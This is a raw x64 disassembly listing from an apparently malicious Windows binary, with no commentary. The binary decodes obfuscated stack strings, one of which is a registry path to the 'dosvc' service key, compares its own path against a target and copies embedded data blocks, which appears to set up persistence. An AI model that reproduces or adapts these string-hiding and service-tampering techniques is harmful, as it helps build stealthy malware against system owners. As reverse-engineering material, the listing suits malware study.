cmp byte [0x1409c5374], 0
je 0x140003702
lea rdx, [0x1409c5360]
lea rcx, [rdx + 0x14]
movzx eax, word [rdx]
add ax, 0x5789
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x1400036e4
mov byte [0x1409c5374], 0
mov word [rsp + 0x140], 0xd3
mov word [rsp + 0x142], 0xc9
mov word [rsp + 0x144], 0xdc
mov word [rsp + 0x146], 0xde
mov word [rsp + 0x148], 0xe0
mov word [rsp + 0x14a], 0xea
mov word [rsp + 0x14c], 0xeb
mov word [rsp + 0x14e], 0xe9
mov word [rsp + 0x150], 0xf0
mov word [rsp + 0x152], 0xd3
mov word [rsp + 0x154], 0xc4
mov word [rsp + 0x156], 0xd8
mov word [rsp + 0x158], 0xda
mov word [rsp + 0x15a], 0xdf
mov word [rsp + 0x15c], 0xe0
mov word [rsp + 0x15e], 0xe5
mov word [rsp + 0x160], 0xdc
mov word [rsp + 0x162], 0xd3
mov word [rsp + 0x164], 0xca
mov word [rsp + 0x166], 0xd0
mov word [rsp + 0x168], 0xca
mov word [rsp + 0x16a], 0xcb
mov word [rsp + 0x16c], 0xbc
mov word [rsp + 0x16e], 0xc4
mov word [rsp + 0x170], 0xd3
mov word [rsp + 0x172], 0xba
mov word [rsp + 0x174], 0xec
mov word [rsp + 0x176], 0xe9
mov word [rsp + 0x178], 0xe9
mov word [rsp + 0x17a], 0xdc
mov word [rsp + 0x17c], 0xe5
mov word [rsp + 0x17e], 0xeb
mov word [rsp + 0x180], 0xba
mov word [rsp + 0x182], 0xe6
mov word [rsp + 0x184], 0xe5
mov word [rsp + 0x186], 0xeb
mov word [rsp + 0x188], 0xe9
mov word [rsp + 0x18a], 0xe6
mov word [rsp + 0x18c], 0xe3
mov word [rsp + 0x18e], 0xca
mov word [rsp + 0x190], 0xdc
mov word [rsp + 0x192], 0xeb
mov word [rsp + 0x194], 0xd3
mov word [rsp + 0x196], 0xca
mov word [rsp + 0x198], 0xdc
mov word [rsp + 0x19a], 0xe9
mov word [rsp + 0x19c], 0xed
mov word [rsp + 0x19e], 0xe0
mov word [rsp + 0x1a0], 0xda
mov word [rsp + 0x1a2], 0xdc
mov word [rsp + 0x1a4], 0xea
mov word [rsp + 0x1a6], 0xd3
mov word [rsp + 0x1a8], 0xdb
mov word [rsp + 0x1aa], 0xe6
mov word [rsp + 0x1ac], 0xea
mov word [rsp + 0x1ae], 0xed
mov word [rsp + 0x1b0], 0xda
mov word [rsp + 0x1b2], 0x77
cmp byte [0x1409c5378], 0
jne 0x14000398b
mov byte [0x1409c53f4], 1
mov eax, 0
lea rcx, [0x1409c5380]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x3a
jne 0x140003962
mov byte [0x1409c5378], 1
lea rcx, [0x1400016f2]
call fcn.1400014f0
cmp byte [0x1409c53f4], 0
je 0x1400039bd
lea rdx, [0x1409c5380]
lea rcx, [rdx + 0x74]
movzx eax, word [rdx]
add ax, 0x5789
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x14000399f
mov byte [0x1409c53f4], 0
lea rdx, [0x1409c5360]
lea rcx, [0x1409c5380]
call fcn.140006d8a
lea rcx, [rsp + 0x140]
mov r8d, 0x130
lea rdx, [0x1409bc180]
call sub.msvcrt.dll_memcpy
cmp byte [0x1409c5200], 0
jne 0x140003a31
mov byte [0x1409c5350], 1
mov eax, 0
lea rcx, [0x1409c5220]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x98
jne 0x140003a06
mov byte [0x1409c5200], 1
lea rcx, [0x140001726]
call fcn.1400014f0
cmp byte [0x1409c5350], 0
je 0x140003a66
lea rdx, [0x1409c5220]
lea rcx, [rdx + 0x130]
movzx eax, word [rdx]
sub ax, 0x2c63
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x140003a48
mov byte [0x1409c5350], 0
lea r8, [rsp + 0x1280]
lea rdx, [rsp + 0x1490]
mov qword [rsp + 0x20], r8
lea r9, [0x1409c5220]
mov ecx, 0
call fcn.14000645a
lea rbp, [rsp + 0xa40]
mov r8d, 0x208
mov edx, 0
mov rcx, rbp
call sub.msvcrt.dll_memset
mov rax, qword [rsi + 0x20]
mov rdx, qword [rax + 0x68]
mov rcx, rbp
call sub.msvcrt.dll_wcscat
lea rcx, [rsp + 0x830]
mov r8d, 0x208
mov edx, 0
call sub.msvcrt.dll_memset
mov word [rsp + 0x140], 0x29
mov word [rsp + 0x142], 0x14
mov word [rsp + 0x144], 0x3c
mov word [rsp + 0x146], 0x3c
mov word [rsp + 0x148], 0x34
mov word [rsp + 0x14a], 0x39
mov word [rsp + 0x14c], 0x32
mov word [rsp + 0x14e], 0x29
mov word [rsp + 0x150], 0x10
mov word [rsp + 0x152], 0x35
mov word [rsp + 0x154], 0x3f
mov word [rsp + 0x156], 0x3c
mov word [rsp + 0x158], 0x3a
mov word [rsp + 0x15a], 0x32
mov word [rsp + 0x15c], 0x29
mov word [rsp + 0x15e], 0x42
mov word [rsp + 0x160], 0x3d
mov word [rsp + 0x162], 0x31
mov word [rsp + 0x164], 0x2e
mov word [rsp + 0x166], 0x41
mov word [rsp + 0x168], 0x32
mov word [rsp + 0x16a], 0x3f
mov word [rsp + 0x16c], 0xfb
mov word [rsp + 0x16e], 0x32
mov word [rsp + 0x170], 0x45
mov word [rsp + 0x172], 0x32
mov word [rsp + 0x174], 0xcd
cmp byte [0x1409c5198], 0
jne 0x140003c22
mov byte [0x1409c51d6], 1
mov eax, 0
lea rcx, [0x1409c51a0]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x1b
jne 0x140003bf9
mov byte [0x1409c5198], 1
lea rcx, [0x14000175d]
call fcn.1400014f0
cmp byte [0x1409c51d6], 0
je 0x140003c54
lea rdx, [0x1409c51a0]
lea rcx, [rdx + 0x36]
movzx eax, word [rdx]
sub ax, 0x4acd
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rcx, rdx
jne 0x140003c36
mov byte [0x1409c51d6], 0
mov word [rsp + 0x140], 0x1d
mov word [rsp + 0x142], 0x1f
mov word [rsp + 0x144], 0x1c
mov word [rsp + 0x146], 0x14
mov word [rsp + 0x148], 0x1f
mov word [rsp + 0x14a], 0xe
mov word [rsp + 0x14c], 0x1a
mov word [rsp + 0x14e], 0x13
mov word [rsp + 0x150], 0x16
mov word [rsp + 0x152], 0x19
mov word [rsp + 0x154], 0x12
mov word [rsp + 0x156], 0x20
mov word [rsp + 0x158], 0xa
mov word [rsp + 0x15a], 0xcd
cmp byte [0x1409c51d8], 0
jne 0x140003d25
mov byte [0x1409c51fc], 1
mov eax, 0
lea rcx, [0x1409c51e0]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0xe
jne 0x140003cfc
mov byte [0x1409c51d8], 1
lea rcx, [0x140001743]
call fcn.1400014f0
cmp byte [0x1409c51fc], 0
je 0x140003d57
lea rdx, [0x1409c51e0]
lea rcx, [rdx + 0x1c]
movzx eax, word [rdx]
sub ax, 0x4acd
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rcx, rdx
jne 0x140003d39
mov byte [0x1409c51fc], 0
lea rdx, [0x1409c51e0]
mov rcx, rbx
call fcn.140006516
mov rdx, rax
lea rcx, [rsp + 0x830]
lea r8, [0x1409c51a0]
call fcn.140005cb0
test dil, dil
je 0x140004b27
lea rcx, [rsp + 0x140]
mov r8d, 0x492
lea rdx, [0x1409bc2c0]
call sub.msvcrt.dll_memcpy
cmp byte [0x1409c4ce8], 0
jne 0x140003de7
mov byte [0x1409c5192], 1
mov eax, 0
lea rcx, [0x1409c4d00]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x249
jne 0x140003dbc
mov byte [0x1409c4ce8], 1
lea rcx, [0x140001777]
call fcn.1400014f0
cmp byte [0x1409c5192], 0
je 0x140003e1c
lea rdx, [0x1409c4d00]
lea rcx, [rdx + 0x492]
movzx eax, word [rdx]
sub ax, 0x10ed
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rcx, rdx
jne 0x140003dfe
mov byte [0x1409c5192], 0
lea r8, [rsp + 0x1070]
lea rdx, [rsp + 0x1490]
lea rsi, [rsp + 0x830]
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], r8
lea r9, [0x1409c4d00]
mov ecx, 1
call fcn.14000645a
lea rcx, [rsp + 0xa40]
mov rdx, rsi
call sub.msvcrt.dll__wcsicmp
test eax, eax
jne 0x140005004
mov edx, dword [0x14003de20]
lea rcx, [0x14001c020]
call fcn.140001a70
movsxd rsi, dword [0x14003de20]
mov word [rsp + 0x140], 0xd7
mov word [rsp + 0x142], 0xbd
mov word [rsp + 0x144], 0xdc
mov word [rsp + 0x146], 0xee
mov word [rsp + 0x148], 0xe0
mov word [rsp + 0x14a], 0xc9
mov word [rsp + 0x14c], 0xdc
mov word [rsp + 0x14e], 0xe8
mov word [rsp + 0x150], 0xe0
mov word [rsp + 0x152], 0xdf
mov word [rsp + 0x154], 0xca
mov word [rsp + 0x156], 0xdd
mov word [rsp + 0x158], 0xe5
mov word [rsp + 0x15a], 0xe0
mov word [rsp + 0x15c], 0xde
mov word [rsp + 0x15e], 0xef
mov word [rsp + 0x160], 0xee
mov word [rsp + 0x162], 0xd7
mov word [rsp + 0x164], 0xdf
mov word [rsp + 0x166], 0xf1
mov word [rsp + 0x168], 0xe6
mov word [rsp + 0x16a], 0xf3
mov word [rsp + 0x16c], 0xe5
mov word [rsp + 0x16e], 0xf2
mov word [rsp + 0x170], 0xdf
mov word [rsp + 0x172], 0xea
mov word [rsp + 0x174], 0xee
mov word [rsp + 0x176], 0xef
mov word [rsp + 0x178], 0x7b
cmp byte [0x1409c4ac0], 0
jne 0x140003fec
mov byte [0x1409c4b1a], 1
mov eax, 0
lea rcx, [0x1409c4ae0]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x1d
jne 0x140003fc3
mov byte [0x1409c4ac0], 1
lea rcx, [0x140001800]
call fcn.1400014f0
cmp byte [0x1409c4b1a], 0
je 0x14000401e
lea rdx, [0x1409c4ae0]
lea rcx, [rdx + 0x3a]
movzx eax, word [rdx]
sub ax, 0x707b
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rcx, rdx
jne 0x140004000
mov byte [0x1409c4b1a], 0
lea rcx, [rsp + 0xc50]
mov dword [rsp + 0x40], 1
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x1490]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0xe60]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rax
mov r9, rsi
lea r8, [0x14001c020]
lea rdx, [0x1409c4ae0]
call fcn.1400019f1
call fcn.1400053f7
mov esi, eax
lea rcx, [rsp + 0x620]
mov r8d, 0x208
mov edx, 0
call sub.msvcrt.dll_memset
mov word [rsp + 0x140], 0x45
mov word [rsp + 0x142], 0x30
mov word [rsp + 0x144], 0x58
mov word [rsp + 0x146], 0x58
mov word [rsp + 0x148], 0x50
mov word [rsp + 0x14a], 0x55
mov word [rsp + 0x14c], 0x4e
mov word [rsp + 0x14e], 0x45
mov word [rsp + 0x150], 0x35
mov word [rsp + 0x152], 0x52
mov word [rsp + 0x154], 0x4b
mov word [rsp + 0x156], 0x5c
mov word [rsp + 0x158], 0x45
mov word [rsp + 0x15a], 0xe9
cmp byte [0x1409c4a68], 0
jne 0x14000415c
mov byte [0x1409c4a8c], 1
mov eax, 0
lea rcx, [0x1409c4a70]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0xe
jne 0x140004133
mov byte [0x1409c4a68], 1
lea rcx, [0x140001834]
call fcn.1400014f0
lea rcx, [0x1409c4a70]
call fcn.14001acf0
mov rdi, rax
mov word [rsp + 0x140], 0x39
mov word [rsp + 0x142], 0x3b
mov word [rsp + 0x144], 0x38
mov word [rsp + 0x146], 0x30
mov word [rsp + 0x148], 0x3b
mov word [rsp + 0x14a], 0x2a
mov word [rsp + 0x14c], 0x36
mov word [rsp + 0x14e], 0x2f
mov word [rsp + 0x150], 0x32
mov word [rsp + 0x152], 0x35
mov word [rsp + 0x154], 0x2e
mov word [rsp + 0x156], 0x3c
mov word [rsp + 0x158], 0x26
mov word [rsp + 0x15a], 0xe9
cmp byte [0x1409c4a90], 0
jne 0x14000423c
mov byte [0x1409c4abc], 1
mov eax, 0
lea rcx, [0x1409c4aa0]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0xe
jne 0x140004213
mov byte [0x1409c4a90], 1
lea rcx, [0x14000181a]
call fcn.1400014f0
lea rcx, [0x1409c4aa0]
call fcn.14001acf0
mov rdx, rax
mov rcx, rbx
call fcn.140006516
mov rdx, rax
lea rcx, [rsp + 0x620]
mov r8, rdi
call fcn.140005cb0
mov word [rsp + 0x140], 0xbe
mov word [rsp + 0x142], 0xb9
mov word [rsp + 0x144], 0x9d
mov word [rsp + 0x146], 0x9b
mov word [rsp + 0x148], 0x95
mov word [rsp + 0x14a], 0xda
mov word [rsp + 0x14c], 0xe0
mov word [rsp + 0x14e], 0xda
mov word [rsp + 0x150], 0x67
cmp byte [0x1409c4a40], 0
jne 0x140004305
mov byte [0x1409c4a62], 1
mov eax, 0
lea rcx, [0x1409c4a50]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 9
jne 0x1400042dc
mov byte [0x1409c4a40], 1
lea rcx, [0x14000184e]
call fcn.1400014f0
cmp byte [0x1409c4a62], 0
je 0x140004337
lea rdx, [0x1409c4a50]
lea rcx, [rdx + 0x12]
movzx eax, word [rdx]
add ax, 0x4f99
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x140004319
mov byte [0x1409c4a62], 0
lea r9, [0x1409c4a50]
lea r8, [rsp + 0x620]
mov edx, dword [0x140041710]
lea rcx, [0x14003de40]
call fcn.140001bf3
cmp byte [0x1409c4a28], 0
jne 0x14000439f
mov byte [0x1409c4a38], 1
mov word [0x1409c4a30], 0x55
mov word [0x1409c4a32], 0x4a
mov word [0x1409c4a34], 0x4f
mov word [0x1409c4a36], 0xdd
mov byte [0x1409c4a28], 1
lea rcx, [0x140001868]
call fcn.1400014f0
lea rcx, [0x1409c4a30]
call fcn.14001ad70
mov qword [rsp + 0x5e0], rax
mov word [rsp + 0x140], 0x39
mov word [rsp + 0x142], 0x1f
mov word [rsp + 0x144], 0x3e
mov word [rsp + 0x146], 0x50
mov word [rsp + 0x148], 0x42
mov word [rsp + 0x14a], 0x2b
mov word [rsp + 0x14c], 0x3e
mov word [rsp + 0x14e], 0x4a
mov word [rsp + 0x150], 0x42
mov word [rsp + 0x152], 0x41
mov word [rsp + 0x154], 0x2c
mov word [rsp + 0x156], 0x3f
mov word [rsp + 0x158], 0x47
mov word [rsp + 0x15a], 0x42
mov word [rsp + 0x15c], 0x40
mov word [rsp + 0x15e], 0x51
mov word [rsp + 0x160], 0x50
mov word [rsp + 0x162], 0x39
mov word [rsp + 0x164], 0x4d
mov word [rsp + 0x166], 0x56
mov word [rsp + 0x168], 0x4d
mov word [rsp + 0x16a], 0x45
mov word [rsp + 0x16c], 0x44
mov word [rsp + 0x16e], 0x50
mov word [rsp + 0x170], 0x53
mov word [rsp + 0x172], 0x4a
mov word [rsp + 0x174], 0x53
mov word [rsp + 0x176], 0x4b
mov word [rsp + 0x178], 0x4b
mov word [rsp + 0x17a], 0x4d
mov word [rsp + 0x17c], 0x4e
mov word [rsp + 0x17e], 0x3e
mov word [rsp + 0x180], 0x42
mov word [rsp + 0x182], 0x54
mov word [rsp + 0x184], 0xdd
cmp byte [0x1409c49c0], 0
jne 0x140004556
mov byte [0x1409c4a26], 1
mov eax, 0
lea rcx, [0x1409c49e0]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x23
jne 0x14000452d
mov byte [0x1409c49c0], 1
lea rcx, [0x140001869]
call fcn.1400014f0
lea rcx, [0x1409c49e0]
call fcn.14001ad30
mov qword [rsp + 0x5e8], rax
mov word [rsp + 0x140], 0x39
mov word [rsp + 0x142], 0x50
mov word [rsp + 0x144], 0x53
mov word [rsp + 0x146], 0x40
mov word [rsp + 0x148], 0x45
mov word [rsp + 0x14a], 0x4c
mov word [rsp + 0x14c], 0x50
mov word [rsp + 0x14e], 0x51
mov word [rsp + 0x150], 0xb
mov word [rsp + 0x152], 0x42
mov word [rsp + 0x154], 0x55
mov word [rsp + 0x156], 0x42
mov word [rsp + 0x158], 0xdd
cmp byte [0x1409c4998], 0
jne 0x140004631
mov byte [0x1409c49ba], 1
mov eax, 0
lea rcx, [0x1409c49a0]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0xd
jne 0x140004608
mov byte [0x1409c4998], 1
lea rcx, [0x140001883]
call fcn.1400014f0
cmp byte [0x1409c49ba], 0
je 0x140004663
lea rdx, [0x1409c49a0]
lea rcx, [rdx + 0x1a]
movzx eax, word [rdx]
sub ax, 0xcdd
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rcx, rdx
jne 0x140004645
mov byte [0x1409c49ba], 0
lea rax, [0x1409c49a0]
mov qword [rsp + 0x5f0], rax
lea rcx, [rsp + 0x140]
mov r8d, 0x454
lea rdx, str.MVMEDPSJSKKMN_BT
call sub.msvcrt.dll_memcpy
cmp byte [0x1409c4520], 0
jne 0x1400046d3
mov byte [0x1409c4994], 1
mov eax, 0
lea rcx, [0x1409c4540]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x22a
jne 0x1400046a8
mov byte [0x1409c4520], 1
lea rcx, [0x14000189d]
call fcn.1400014f0
cmp byte [0x1409c4994], 0
je 0x140004708
lea rdx, [0x1409c4540]
lea rcx, [rdx + 0x454]
movzx eax, word [rdx]
sub ax, 0xcdd
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x1400046ea
mov byte [0x1409c4994], 0
lea rax, [0x1409c4540]
mov qword [rsp + 0x5f8], rax
cmp byte [0x1409c4508], 0
jne 0x14000475e
mov byte [0x1409c4518], 1
mov word [0x1409c4510], 0x42
mov word [0x1409c4512], 0x51
mov word [0x1409c4514], 0x45
mov word [0x1409c4516], 0xdd
mov byte [0x1409c4508], 1
lea rcx, [0x1400018ba]
call fcn.1400014f0
lea rcx, [0x1409c4510]
call fcn.14001ad70
mov qword [rsp + 0x600], rax
mov word [rsp + 0x140], 0x39
mov word [rsp + 0x142], 0x1f
mov word [rsp + 0x144], 0x3e
mov word [rsp + 0x146], 0x50
mov word [rsp + 0x148], 0x42
mov word [rsp + 0x14a], 0x2b
mov word [rsp + 0x14c], 0x3e
mov word [rsp + 0x14e], 0x4a
mov word [rsp + 0x150], 0x42
mov word [rsp + 0x152], 0x41
mov word [rsp + 0x154], 0x2c
mov word [rsp + 0x156], 0x3f
mov word [rsp + 0x158], 0x47
mov word [rsp + 0x15a], 0x42
mov word [rsp + 0x15c], 0x40
mov word [rsp + 0x15e], 0x51
mov word [rsp + 0x160], 0x50
mov word [rsp + 0x162], 0x39
mov word [rsp + 0x164], 0x4d
mov word [rsp + 0x166], 0x4e
mov word [rsp + 0x168], 0x51
mov word [rsp + 0x16a], 0x54
mov word [rsp + 0x16c], 0x3f
mov word [rsp + 0x16e], 0x52
mov word [rsp + 0x170], 0x55
mov word [rsp + 0x172], 0x43
mov word [rsp + 0x174], 0x57
mov word [rsp + 0x176], 0x56
mov word [rsp + 0x178], 0x49
mov word [rsp + 0x17a], 0x3e
mov word [rsp + 0x17c], 0x4c
mov word [rsp + 0x17e], 0x44
mov word [rsp + 0x180], 0x51
mov word [rsp + 0x182], 0x48
mov word [rsp + 0x184], 0xdd
cmp byte [0x1409c44a0], 0
jne 0x140004915
mov byte [0x1409c4506], 1
mov eax, 0
lea rcx, [0x1409c44c0]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x23
jne 0x1400048ec
mov byte [0x1409c44a0], 1
lea rcx, [0x1400018bb]
call fcn.1400014f0
lea rcx, [0x1409c44c0]
call fcn.14001ad30
mov qword [rsp + 0x608], rax
mov word [rsp + 0x140], 0x39
mov word [rsp + 0x142], 0x42
mov word [rsp + 0x144], 0x55
mov word [rsp + 0x146], 0x4d
mov word [rsp + 0x148], 0x49
mov word [rsp + 0x14a], 0x4c
mov word [rsp + 0x14c], 0x4f
mov word [rsp + 0x14e], 0x42
mov word [rsp + 0x150], 0x4f
mov word [rsp + 0x152], 0xb
mov word [rsp + 0x154], 0x42
mov word [rsp + 0x156], 0x55
mov word [rsp + 0x158], 0x42
mov word [rsp + 0x15a], 0xdd
cmp byte [0x1409c4478], 0
jne 0x1400049fa
mov byte [0x1409c449c], 1
mov eax, 0
lea rcx, [0x1409c4480]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0xe
jne 0x1400049d1
mov byte [0x1409c4478], 1
lea rcx, [0x1400018d5]
call fcn.1400014f0
cmp byte [0x1409c449c], 0
je 0x140004a2c
lea rdx, [0x1409c4480]
lea rcx, [rdx + 0x1c]
movzx eax, word [rdx]
sub ax, 0xcdd
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x140004a0e
mov byte [0x1409c449c], 0
lea rax, [0x1409c4480]
mov qword [rsp + 0x610], rax
lea rcx, [rsp + 0x140]
mov r8d, 0x3d4
lea rdx, str.MNQT_RUCWVI_LDQH
call sub.msvcrt.dll_memcpy
cmp byte [0x1409c4088], 0
jne 0x140004a9c
mov byte [0x1409c4474], 1
mov eax, 0
lea rcx, [0x1409c40a0]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x1ea
jne 0x140004a71
mov byte [0x1409c4088], 1
lea rcx, [0x1400018ef]
call fcn.1400014f0
cmp byte [0x1409c4474], 0
je 0x140004ad1
lea rdx, [0x1409c40a0]
lea rcx, [rdx + 0x3d4]
movzx eax, word [rdx]
sub ax, 0xcdd
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rcx, rdx
jne 0x140004ab3
mov byte [0x1409c4474], 0
lea rax, [0x1409c40a0]
mov qword [rsp + 0x618], rax
mov edx, dword [0x140472d20]
lea rcx, [0x140041720]
call fcn.140001a70
mov edx, dword [0x1409ba740]
lea rcx, [0x140472d40]
call fcn.140001a70
lea rbx, [rsp + 0x5e0]
lea r13, [rsp + 0x620]
lea r14, [0x14000190c]
lea rbp, [0x1409c4080]
jmp 0x140004dfb
lea rcx, [rsp + 0x140]
mov r8d, 0x208
mov edx, 0
call sub.msvcrt.dll_memset
mov word [rsp + 0x60], 0xe9
mov word [rsp + 0x62], 0xff
mov word [rsp + 0x64], 0xf2
mov word [rsp + 0x66], 0xf4
mov word [rsp + 0x68], 0xbb
mov word [rsp + 0x6a], 0xf2
mov word [rsp + 0x6c], 5
mov word [rsp + 0x6e], 0xf2
mov word [rsp + 0x70], 0x8d
cmp byte [0x1409c4cc8], 0
jne 0x140004bc0
mov byte [0x1409c4ce2], 1
mov eax, 0
lea rcx, [0x1409c4cd0]
movzx edx, word [rsp + rax*2 + 0x60]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 9
jne 0x140004b9a
mov byte [0x1409c4cc8], 1
lea rcx, [0x140001794]
call fcn.1400014f0
cmp byte [0x1409c4ce2], 0
je 0x140004bf2
lea rdx, [0x1409c4cd0]
lea rcx, [rdx + 0x12]
movzx eax, word [rdx]
sub ax, 0x7a8d
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x140004bd4
mov byte [0x1409c4ce2], 0
lea rdx, [rsp + 0x1490]
lea rcx, [rsp + 0x140]
lea r8, [0x1409c4cd0]
call fcn.140005cb0
lea rdi, [rsp + 0x60]
lea rsi, [0x1409bcfa0]
mov ecx, 0x38
rep movsd dword [rdi], dword [rsi]
cmp byte [0x1409c4bc0], 0
jne 0x140004c63
mov byte [0x1409c4cc0], 1
mov eax, 0
lea rcx, [0x1409c4be0]
movzx edx, word [rsp + rax*2 + 0x60]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x70
jne 0x140004c3d
mov byte [0x1409c4bc0], 1
lea rcx, [0x1400017ae]
call fcn.1400014f0
cmp byte [0x1409c4cc0], 0
je 0x140004c98
lea rdx, [0x1409c4be0]
lea rcx, [rdx + 0xe0]
movzx eax, word [rdx]
add ax, 0x97d
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rcx, rdx
jne 0x140004c7a
mov byte [0x1409c4cc0], 0
lea r8, [rsp + 0x140]
lea rdx, [rsp + 0x1490]
lea rsi, [rsp + 0x830]
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], r8
lea r9, [0x1409c4be0]
mov ecx, 1
call fcn.14000645a
lea rcx, [rsp + 0xa40]
mov rdx, rsi
call sub.msvcrt.dll__wcsicmp
test eax, eax
je 0x140003e6c
lea rdx, [rsp + 0x5c]
lea rcx, [rsp + 0xa40]
call fcn.140006917
mov rdx, rax
lea rcx, [rsp + 0x830]
mov r8d, dword [rsp + 0x5c]
call fcn.140006a5c
cmp byte [0x1409c4b20], 0
jne 0x140004d48
mov byte [0x1409c4b2e], 1
mov word [0x1409c4b28], 0x28
mov word [0x1409c4b2a], 0x56
mov word [0x1409c4b2c], 3
mov byte [0x1409c4b20], 1
lea rcx, [0x1400017ff]
call fcn.1400014f0
cmp byte [0x1409c4b2e], 0
je 0x140004d9a
movzx eax, word [0x1409c4b28]
sub ax, 0x7003
and ax, 0xff
mov word [0x1409c4b28], ax
movzx eax, word [0x1409c4b2a]
sub ax, 0x7003
and ax, 0xff
mov word [0x1409c4b2a], ax
movzx eax, word [0x1409c4b2c]
sub ax, 0x7003
and ax, 0xff
mov word [0x1409c4b2c], ax
mov byte [0x1409c4b2e], 0
lea r8, [rsp + 0x830]
lea rdx, [rsp + 0x1490]
mov qword [rsp + 0x20], r8
lea r9, [0x1409c4b28]
mov ecx, 0
call fcn.14000645a
jmp 0x14000532f
mov byte [0x1409c4080], 0
mov rdx, rdi
lea rcx, [0x1409c4078]
call sub.msvcrt.dll__wcsicmp
mov edi, eax
test eax, eax
jne 0x140004e74
test sil, sil
jne 0x140004e74
add rbx, 0x20
cmp r13, rbx
je 0x14000532f
mov r12, rbx
mov rdi, qword [rbx]
cmp byte [0x1409c4070], 0
jne 0x140004e44
mov byte [0x1409c4080], 1
mov word [0x1409c4078], 0xc2
mov word [0x1409c407a], 0xd1
mov word [0x1409c407c], 0xc5
mov word [0x1409c407e], 0x5d
mov byte [0x1409c4070], 1
mov rcx, r14
call fcn.1400014f0
cmp byte [0x1409c4080], 0
je 0x140004dcc
lea rdx, [0x1409c4078]
movzx eax, word [rdx]
add ax, 0x17a3
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rbp, rdx
jne 0x140004e58
jmp 0x140004dc5
lea rcx, [rsp + 0x140]
mov r8d, 0x208
mov edx, 0
call sub.msvcrt.dll_memset
mov r15, qword [r12 + 0x10]
mov word [rsp + 0x60], 0x3d
mov word [rsp + 0x62], 0x46
mov word [rsp + 0x64], 0x59
mov word [rsp + 0x66], 0x51
mov word [rsp + 0x68], 0x4d
mov word [rsp + 0x6a], 0x50
mov word [rsp + 0x6c], 0x53
mov word [rsp + 0x6e], 0x46
mov word [rsp + 0x70], 0x53
mov word [rsp + 0x72], 0xf
mov word [rsp + 0x74], 0x46
mov word [rsp + 0x76], 0x59
mov word [rsp + 0x78], 0x46
mov word [rsp + 0x7a], 0xe1
cmp byte [0x1409c4048], 0
jne 0x140004f35
mov byte [0x1409c406c], 1
mov eax, 0
lea rcx, [0x1409c4050]
movzx edx, word [rsp + rax*2 + 0x60]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0xe
jne 0x140004f0f
mov byte [0x1409c4048], 1
lea rcx, [0x14000190d]
call fcn.1400014f0
cmp byte [0x1409c406c], 0
je 0x140004f67
lea rdx, [0x1409c4050]
lea rcx, [rdx + 0x1c]
movzx eax, word [rdx]
sub ax, 0x38e1
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rcx, rdx
jne 0x140004f49
mov byte [0x1409c406c], 0
mov rdx, r15
lea rcx, [0x1409c4050]
call sub.msvcrt.dll__wcsicmp
lea rdx, [rsp + 0x1490]
test eax, eax
jne 0x140004f8a
lea rdx, [rsp + 0x16a0]
lea rcx, [rsp + 0x140]
mov r8, r15
call fcn.140005cb0
mov rax, qword [r12 + 0x18]
test edi, edi
jne 0x140004ff4
movsxd r9, dword [0x140472d20]
lea r8, [0x140041720]
mov rdx, qword [r12 + 8]
lea rcx, [rsp + 0xc50]
mov dword [rsp + 0x40], 1
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x1490]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x140]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rax
call fcn.1400019f1
jmp 0x140004dee
movsxd r9, dword [0x1409ba740]
lea r8, [0x140472d40]
jmp 0x140004fb1
lea rdx, [rsp + 0x5c]
